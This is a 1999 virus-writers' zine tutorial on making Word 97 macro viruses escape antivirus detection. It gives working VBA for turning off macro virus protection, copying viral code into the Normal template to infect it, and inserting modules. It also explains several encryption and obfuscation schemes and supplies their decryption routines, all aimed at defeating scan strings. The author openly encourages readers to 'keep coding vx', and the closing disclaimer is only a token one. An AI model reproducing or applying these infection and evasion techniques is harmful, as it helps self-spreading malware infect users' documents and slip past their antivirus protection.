Tricks to make your macro virus unscannable
[VDAT edition]
by jackie twoflower /Lz0NT /MVT

Hmmm...why use tricks to make your macro unscannable? Simple, you are working a new macro very hard for a long time, finished it and start an AV to check...and finally it got detected...damn what a shitty thing right? Here I will show you a few technics to make your virus undetectable for a while...

-How to avoid 'scan strings'-

Scan strings are strings which the AV looks for. This can be specific commands like 'Options.Virusprotection = False' and so. Ok, look now at the following examples...

        Options.Virusprotection = False
        Options.SaveNormalPrompt = False

This are common commands for a macro virus, but AV scan exactly for this commands, so what can we do to avoid detection? The answer is simple. Just replace the 'False' with '(Rnd * 0)' or something like that.

        Options.Virusprotection = (Rnd * 0)
        Options.SaveNormalPrompt = (Rnd * 0)

In case of F/Win32, the scanner doesn't detect a turning off of this option. Next the AV look for things like object variables. Common object is for example:

        Set Norm = NormalTemplate.VBProject.VBComponents(1).CodeModule

This will also be specific for a virus, but what if we write this here a bit changed like:

        Set a = Normaltemplate: Set b = a.VBProject
        Set c = b.VBComponents(1): Set d = c.CodeModule

This one will confuse the AV, coz it only knows the code of the first line. Next we will look at the copymethods. The common methods are import and export. So take a sample...

       ActiveDocument.VBProject.VBComponents("DUAL").Export "c:\dual.sys"

       ....

       Normaltemplate.VBProject.VBComponents.Import "c:\dual.sys"

This is again common virus code. You could change this lines to the following.

       viruscode = ActiveDocument.VBProject.VBComponents("DUAL") _
                   .Lines(1,20)

       Open "c:\dual.sys" for output as #1
       	Print #1, "Attribute VB_Name = ""dual"""
            Print #1, viruscode
       Close #1

       ....

       Normaltemplate.VBProject.VBComponents.Import "c:\dual.sys"

This is only one method, another would be the AMI technic which can also be found here in this zine. I will show here a sample code. This method has nothing to do with these shown before. It adds a modul to the document/template and inserts then it's virulant code.

        If NormalIns_ = False Then

            VirusLength_ = Active_.VBComponents(ModulName_) _
                           .CodeModule.CountOfLines
            VirusCode_ = Active_.VBComponents(ModulName_) _
                         .CodeModule.Lines(1, VirusLength_)

            Normal_.VBComponents.Add (vbext_ct_StdModule)
            Normal_.VBComponents((NormalComp_ + 1)).Name = ModulName_
            Normal_.VBComponents(ModulName_).CodeModule.AddFromString VirusCode_

        End If

Finally I think there can be done a lot more in how 2 avoid scan strings but I think this is enough for the moment. If you find something else you could avoid, feel free and contact me about this technic.

-Use encryption-

Wow...encryption what a great technic! But it's a bit complicated in VBA like you will see, but no the big problem. One problem is that when you en- crypt your code and add it, you have to run the sub again so that this code works. It's a bit complicated to explain for me coz english is not my mother- language ;). Take a look at this...

>     Sub AutoOpen()

>         ---------------------
>        | Code for decryption |     <-- This code decrypts the encrypted code
>         ---------------------
>        | Code which inserts  |     <-- This code inserts the decrypted code.
>        |   the decrypted     |         But this code must be inserted in an
>        |        code         |         external sub.
>         ---------------------
>        |   A call for the    |     <-- You need to call the external sub
>        |    external sub     |         For example 'Call DecryptedCodeHere'
>         ---------------------
>        | Code which deletes  |     <-- Of course you need to delete the
>        | the decrypted code  |         inserted virulant code again
>         ---------------------
>        |    Encrypted code   |     <-- The encrypted virulant code
>         ---------------------

>     End Sub

>     Sub DecryptedCodeHere()
>                                    <-- The decrypted code takes place here
>     End Sub

I hope this little graphic will explain what I mean a bit. Fact is that you have to insert the virulant code into an external sub and make a call for this external sub. So now let us look at the encryption methods. There are four methods I know of. For the first three this method shown in the graphic above is used. For the fourth not. Ok now what methods are there... The examples will only be a small part of the whole code, so look at the whole source to understand what I mean...

1. Take a string, read out it's ascii numbers and add for example 3 to it. If you have the string 'ABC' then it would be 'DEF'.
2. Use some kind of Xor encryption. I won't explain this here coz there is a really great article about it in Codebreakers #5. Get it!
3. Take a string and add junk code between every sign, for example if we have 'ABC' the new string would be 'ëñAñÅøBõC' (CCTX: characters translate incorrect in HTML) I know that this is no real encryption but it works. Enough to fake AV!

The first 3 methods need to have an external sub. The next and fourth method doesn't need a external sub coz it is only character encryption.

4. Use character encryption, for example if you have the string 'ABC' again the new one would be 'Chr(65) + Chr(66) + Chr(67)'. Use it without the quotes!

Now look a bit closer at this technics:

1. Ascii exchange encryption:

For this method you use some kind of a function like this below for the decryption. It is taken from W97M.Optiz.D by me ;)

          Public Function DeCode(Code As String)

            For xy = 1 To Len(Code)

               ' Create a loop from the first til the last sign of the string

               Ascii = Asc(Mid(Code, xy, 1))

               ' Save the current ascii value of the current sign

               Change = Ascii - 29

               ' Substract 29 from it to get the real decrypted code

               NewCode = NewCode & Chr(Change)

               ' Transform it to a character

            Next

            ' Next sign

            DeCode = NewCode & vbCr

            ' Insert the decrypted code into 'DeCode'

          End Function

        All call would be...

          DeCode(MyVariable)

If you want to have a fully commented source look at the source section under 'W97M.Optiz.D' or look at Nightmare Jokers tutorial about encryption. Because he first used this technic...

2. Junk code encryption:

This method was first used by me I think and it is not a 'real' encryption but it works pretty good. It adds to the normal string ascii signs higher than 177. So when it comes to decryption it only reads the characters which are < 177. Look at the decryption function:

           Function jacky(c As String)

               For o = 1 To Len(c)

               ' Create a loop from the first til the last sign of the string

                   z = Mid(c, o, 1)

                   ' Get the current character...

                   If Asc(z) > 177 Then z = ""

                   ' Clear the string if it is > 177

                   x = x & z

               Next o

               jacky = x & vbCr

           End Function

        A call would be:

           jacky(MyVariable)

This method was first used by me. I know it's not amazing but it does it's work. If you want to see and example please look in the virii section at W97M.Crypted aka W97M.Yuk. It uses this technic with AutoOpen and AutoClose, but take a look...

3. Character encryption:

This was the first technic used in Word97. It was first used or maybe invented by the great VicodinES! For this encryption you use the VBA command 'Chr()' to encrypt the code. There is also a tool make it easier to encrypt the code. You can get the source in Codebreakers #4, or you can download the compiled tool on our page (if our webmaster had time). Here i will explain this method a bit...

Code without hiding the strings.

           MsgBox "This is a virus"

If someone gets into your code, this message would be obviously for a virus, so here's an encrypted example.

Code with hiding the strings.

           MsgBox Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(105) _
    	 + Chr(115) + Chr(32) + Chr(97) + Chr(32) + Chr(118) + Chr(105) _
    	 + Chr(114) + Chr(117) + Chr(115)

Here we hide the obiously code in 'chr()' commands. Of course you can combine this technics.

So this were a few technics to make your macro nearly unscannable. Of course there are more technics, but these here will help you to make AVer's bad dreams.

In the end i have to say that i won't the responsibility for any damage someone does with this code lines. this code is for educational purpose. if you use this code and make some damage it's your fault!!!

so,hmm...what should i say? k, thanx for reading my tutorial and keep coding vx. if you have any comments or whatever feel free to mail me.

have phun,

jackie [June 1999]

some greets fly to:

~~+ Nightmare Joker for the great tut about wordbasic encryption

~~+ VicodinES for his great codes and ideas

-The AMI technic was first used by me ;)
-The first encryption routine was first used by Nightmare Joker. He wrote a tutorial about this, read it!!!
-The thirth was first used by VicodinES

-Thanks for providing code ;)